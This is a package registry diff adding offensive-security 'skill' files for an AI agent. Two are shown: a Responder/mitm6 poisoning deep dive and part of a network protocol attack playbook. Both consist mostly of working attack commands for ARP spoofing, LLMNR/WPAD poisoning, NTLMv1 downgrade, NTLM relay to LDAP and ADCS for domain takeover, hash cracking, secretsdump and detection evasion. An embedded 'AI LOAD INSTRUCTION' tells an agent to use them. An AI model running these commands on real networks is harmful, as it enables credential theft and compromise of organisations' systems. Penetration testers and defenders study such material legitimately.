ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: name-resolution-poisoning
|
|
3
|
+
description: >-
|
|
4
|
+
Deep-dive into LLMNR/NBT-NS/mDNS poisoning with Responder and mitm6. Covers credential capture workflows, relay target selection, hash format analysis, and attack chaining.
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# NAME RESOLUTION POISONING — Responder & mitm6 Deep Dive
|
|
8
|
+
|
|
9
|
+
> Supplementary reference for [network-protocol-attacks](./SKILL.md) §2–§4. Load when you need detailed Responder configuration, relay chaining, or credential format analysis.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## 1. RESPONDER CONFIGURATION
|
|
14
|
+
|
|
15
|
+
### Core Config — `/opt/Responder/Responder.conf`
|
|
16
|
+
|
|
17
|
+
```ini
|
|
18
|
+
[Responder Core]
|
|
19
|
+
; Turn specific servers on/off
|
|
20
|
+
SQL = On
|
|
21
|
+
SMB = On
|
|
22
|
+
RDP = On
|
|
23
|
+
Kerberos = On
|
|
24
|
+
FTP = On
|
|
25
|
+
POP = On
|
|
26
|
+
SMTP = On
|
|
27
|
+
IMAP = On
|
|
28
|
+
HTTP = On
|
|
29
|
+
HTTPS = On
|
|
30
|
+
DNS = On
|
|
31
|
+
LDAP = On
|
|
32
|
+
DCERPC = On
|
|
33
|
+
WinRM = On
|
|
34
|
+
|
|
35
|
+
; Authentication type
|
|
36
|
+
; For relay: use Off for SMB and HTTP to avoid capturing (let ntlmrelayx handle it)
|
|
37
|
+
; For capture: keep On
|
|
38
|
+
|
|
39
|
+
[HTTP Server]
|
|
40
|
+
; Challenge to use for HTTP NTLM
|
|
41
|
+
Challenge = Random
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
### Responder for Capture Mode
|
|
45
|
+
|
|
46
|
+
```bash
|
|
47
|
+
# Full capture — all protocols
|
|
48
|
+
responder -I eth0 -dwPv
|
|
49
|
+
|
|
50
|
+
# Output: /opt/Responder/logs/
|
|
51
|
+
# Files: HTTP-NTLMv2-CLIENT_IP.txt, SMB-NTLMv2-CLIENT_IP.txt, etc.
|
|
52
|
+
# Format: USER::DOMAIN:challenge:response:blob
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Responder for Relay Mode
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
# Disable SMB and HTTP servers in Responder.conf (let ntlmrelayx handle auth)
|
|
59
|
+
# Responder.conf: SMB = Off, HTTP = Off
|
|
60
|
+
|
|
61
|
+
responder -I eth0 -dwPv
|
|
62
|
+
|
|
63
|
+
# In parallel terminal:
|
|
64
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## 2. RELAY TARGET SELECTION
|
|
70
|
+
|
|
71
|
+
### Identify Targets Without SMB Signing
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# CrackMapExec — find hosts with SMB signing disabled
|
|
75
|
+
crackmapexec smb SUBNET/24 --gen-relay-list targets.txt
|
|
76
|
+
# Output: targets.txt with IPs where signing is not required
|
|
77
|
+
|
|
78
|
+
# Nmap
|
|
79
|
+
nmap -p 445 --script smb2-security-mode SUBNET/24
|
|
80
|
+
# Look for: "Message signing enabled but not required"
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Relay Targets by Protocol
|
|
84
|
+
|
|
85
|
+
| Relay Target | Requirement | Command | Impact |
|
|
86
|
+
|---|---|---|---|
|
|
87
|
+
| SMB | Signing not required | `ntlmrelayx.py -tf targets.txt` | Code execution if admin |
|
|
88
|
+
| LDAP(S) | Signing not enforced on DC | `ntlmrelayx.py -t ldaps://DC` | Modify AD objects, RBCD |
|
|
89
|
+
| MSSQL | No EPA | `ntlmrelayx.py -t mssql://DB -q "QUERY"` | SQL execution |
|
|
90
|
+
| HTTP(S) | NTLM auth accepted | `ntlmrelayx.py -t http://TARGET/endpoint` | Web action as victim |
|
|
91
|
+
| IMAP | NTLM auth | `ntlmrelayx.py -t imap://EXCHANGE` | Email access |
|
|
92
|
+
| SMTP | NTLM auth | `ntlmrelayx.py -t smtp://EXCHANGE` | Send email as victim |
|
|
93
|
+
|
|
94
|
+
### High-Value Relay Chains
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
# Chain 1: Responder → ntlmrelayx → LDAP → RBCD → silver ticket
|
|
98
|
+
ntlmrelayx.py -t ldaps://DC01 --delegate-access
|
|
99
|
+
# Creates machine account, sets RBCD → use getST.py for service ticket
|
|
100
|
+
|
|
101
|
+
# Chain 2: Responder → ntlmrelayx → LDAP → shadow credentials
|
|
102
|
+
ntlmrelayx.py -t ldaps://DC01 --shadow-credentials --shadow-target TARGET$
|
|
103
|
+
|
|
104
|
+
# Chain 3: Responder → ntlmrelayx → ADCS → certificate
|
|
105
|
+
ntlmrelayx.py -t http://CA01/certsrv/certfnsh.asp --adcs --template DomainController
|
|
106
|
+
|
|
107
|
+
# Chain 4: mitm6 → ntlmrelayx → LDAP → delegate
|
|
108
|
+
mitm6 -d domain.com &
|
|
109
|
+
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com --delegate-access
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## 3. CREDENTIAL FORMAT ANALYSIS
|
|
115
|
+
|
|
116
|
+
### NetNTLMv1 Hash
|
|
117
|
+
|
|
118
|
+
```
|
|
119
|
+
user::DOMAIN:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
- Hashcat mode: `5500`
|
|
123
|
+
- Can be downgraded if Responder uses a fixed challenge (`1122334455667788`)
|
|
124
|
+
- With fixed challenge → crack via `crack.sh` / rainbow tables instantly
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Force NTLMv1 downgrade (Responder.conf):
|
|
128
|
+
Challenge = 1122334455667788
|
|
129
|
+
|
|
130
|
+
# Then submit to crack.sh or use rainbow tables
|
|
131
|
+
# NTLMv1 with ESS: extract the real NT hash via DES cracking
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### NetNTLMv2 Hash
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
user::DOMAIN:SERVER_CHALLENGE:NTProofStr:BLOB
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
- Hashcat mode: `5600`
|
|
141
|
+
- Cannot use rainbow tables (includes random client challenge)
|
|
142
|
+
- Requires dictionary + rules attack
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
146
|
+
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
### Cracking Priority
|
|
150
|
+
|
|
151
|
+
```
|
|
152
|
+
1. NTLMv1 (mode 5500) → crack first, fastest
|
|
153
|
+
2. NTLMv1-ESS with fixed challenge → crack.sh for free
|
|
154
|
+
3. NTLMv2 (mode 5600) → dictionary + rules
|
|
155
|
+
4. If cracking fails → relay instead of crack
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## 4. mitm6 DETAILED WORKFLOW
|
|
161
|
+
|
|
162
|
+
### Prerequisites
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
pip install mitm6
|
|
166
|
+
# Requires: scapy, twisted, ldap3
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### Attack Flow
|
|
170
|
+
|
|
171
|
+
```
|
|
172
|
+
Step 1: mitm6 sends DHCPv6 replies → victim gets IPv6 + attacker as DNS
|
|
173
|
+
Step 2: Victim DNS queries (IPv6) go to attacker
|
|
174
|
+
Step 3: Attacker returns WPAD config → forces NTLM auth
|
|
175
|
+
Step 4: ntlmrelayx captures NTLM and relays to target
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# Terminal 1: mitm6
|
|
180
|
+
mitm6 -d domain.com -i eth0
|
|
181
|
+
|
|
182
|
+
# Terminal 2: ntlmrelayx with LDAP relay
|
|
183
|
+
ntlmrelayx.py -6 -t ldaps://DC01.domain.com -wh fakewpad.domain.com -l lootdir
|
|
184
|
+
|
|
185
|
+
# -6 : listen on IPv6
|
|
186
|
+
# -wh : WPAD host to inject
|
|
187
|
+
# -l : loot directory for dumped data
|
|
188
|
+
# --delegate-access : create machine account + set RBCD
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### Post-Exploitation After Successful Relay
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# If --delegate-access succeeded:
|
|
195
|
+
# 1. Get service ticket via RBCD
|
|
196
|
+
getST.py -spn cifs/TARGET.domain.com -impersonate administrator \
|
|
197
|
+
domain.com/'MACHINE$':'PASSWORD' -dc-ip DC_IP
|
|
198
|
+
|
|
199
|
+
# 2. Use ticket
|
|
200
|
+
export KRB5CCNAME=administrator.ccache
|
|
201
|
+
secretsdump.py -k -no-pass TARGET.domain.com
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 5. TROUBLESHOOTING
|
|
207
|
+
|
|
208
|
+
| Issue | Cause | Fix |
|
|
209
|
+
|---|---|---|
|
|
210
|
+
| No hashes captured | LLMNR/NBT-NS disabled via GPO | Try mitm6 (DHCPv6 is harder to disable) |
|
|
211
|
+
| Only machine accounts | Machines query more than users | Wait, trigger user queries (e.g., phish link to `\\attacker\share`) |
|
|
212
|
+
| Relay fails "signing required" | Target enforces SMB signing | Relay to LDAP/HTTP/MSSQL instead |
|
|
213
|
+
| mitm6 no response | IPv6 disabled on target | Fall back to LLMNR/WPAD |
|
|
214
|
+
| NTLMv2 won't crack | Strong password | Use relay, don't waste time cracking |
|
|
215
|
+
| Responder conflicts | Another LLMNR responder on network | Check for legitimate WPAD/LLMNR, use `-A` mode first |
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
## 6. OPSEC CONSIDERATIONS
|
|
220
|
+
|
|
221
|
+
- Run Responder in analyze mode (`-A`) first to assess traffic
|
|
222
|
+
- Limit poisoning to specific targets to reduce noise
|
|
223
|
+
- Use `--lm` flag in Responder only if NTLMv1 downgrade is needed
|
|
224
|
+
- mitm6 affects all hosts on segment — use `-hw` to filter targets
|
|
225
|
+
- Clean up DHCPv6 leases after attack (they persist ~300 seconds)
|
|
226
|
+
- Monitor for AV/EDR alerting on tool signatures
|
|
@@ -0,0 +1,330 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: network-protocol-attacks
|
|
3
|
+
description: >-
|
|
4
|
+
Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Network Protocol Attacks — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection
|
|
16
|
+
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks
|
|
17
|
+
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks
|
|
18
|
+
- [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM
|
|
19
|
+
|
|
20
|
+
### Advanced Reference
|
|
21
|
+
|
|
22
|
+
Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need:
|
|
23
|
+
- Detailed Responder/mitm6 configuration and workflows
|
|
24
|
+
- NTLM relay target selection and chaining
|
|
25
|
+
- Credential format analysis and cracking priorities
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 1. ARP SPOOFING
|
|
30
|
+
|
|
31
|
+
### Gratuitous ARP — MitM Positioning
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
# arpspoof (dsniff suite)
|
|
35
|
+
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
36
|
+
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
|
|
37
|
+
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
|
|
38
|
+
|
|
39
|
+
# ettercap — ARP poisoning with sniffing
|
|
40
|
+
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
|
|
41
|
+
|
|
42
|
+
# bettercap — modern framework
|
|
43
|
+
bettercap -iface eth0
|
|
44
|
+
> set arp.spoof.targets VICTIM_IP
|
|
45
|
+
> arp.spoof on
|
|
46
|
+
> net.sniff on
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Selective Targeting
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
# bettercap — target specific hosts, avoid detection
|
|
53
|
+
> set arp.spoof.targets 10.0.0.50,10.0.0.51
|
|
54
|
+
> set arp.spoof.fullduplex true
|
|
55
|
+
> set arp.spoof.internal true
|
|
56
|
+
> arp.spoof on
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Detection Indicators
|
|
60
|
+
|
|
61
|
+
- Duplicate MAC addresses in ARP table
|
|
62
|
+
- Gratuitous ARP storms from non-gateway IPs
|
|
63
|
+
- Tools: `arpwatch`, static ARP entries, 802.1X port authentication
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## 2. LLMNR / NBT-NS / mDNS POISONING
|
|
68
|
+
|
|
69
|
+
### Responder — Credential Capture
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# Basic poisoning (LLMNR + NBT-NS + mDNS)
|
|
73
|
+
responder -I eth0 -dwPv
|
|
74
|
+
|
|
75
|
+
# Key flags:
|
|
76
|
+
# -d Enable answers for DHCP broadcast requests (fingerprinting)
|
|
77
|
+
# -w Start WPAD rogue proxy
|
|
78
|
+
# -P Force NTLM auth for WPAD
|
|
79
|
+
# -v Verbose
|
|
80
|
+
|
|
81
|
+
# Analyze mode only (passive, no poisoning)
|
|
82
|
+
responder -I eth0 -A
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### Captured Hash Formats
|
|
86
|
+
|
|
87
|
+
| Protocol | Hash Type | Hashcat Mode | Crackability |
|
|
88
|
+
|---|---|---|---|
|
|
89
|
+
| NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable |
|
|
90
|
+
| NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules |
|
|
91
|
+
| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |
|
|
92
|
+
|
|
93
|
+
```bash
|
|
94
|
+
# Crack captured hashes
|
|
95
|
+
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
|
|
96
|
+
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
### Relay Instead of Crack
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
# ntlmrelayx — relay captured NTLM to other services
|
|
103
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
104
|
+
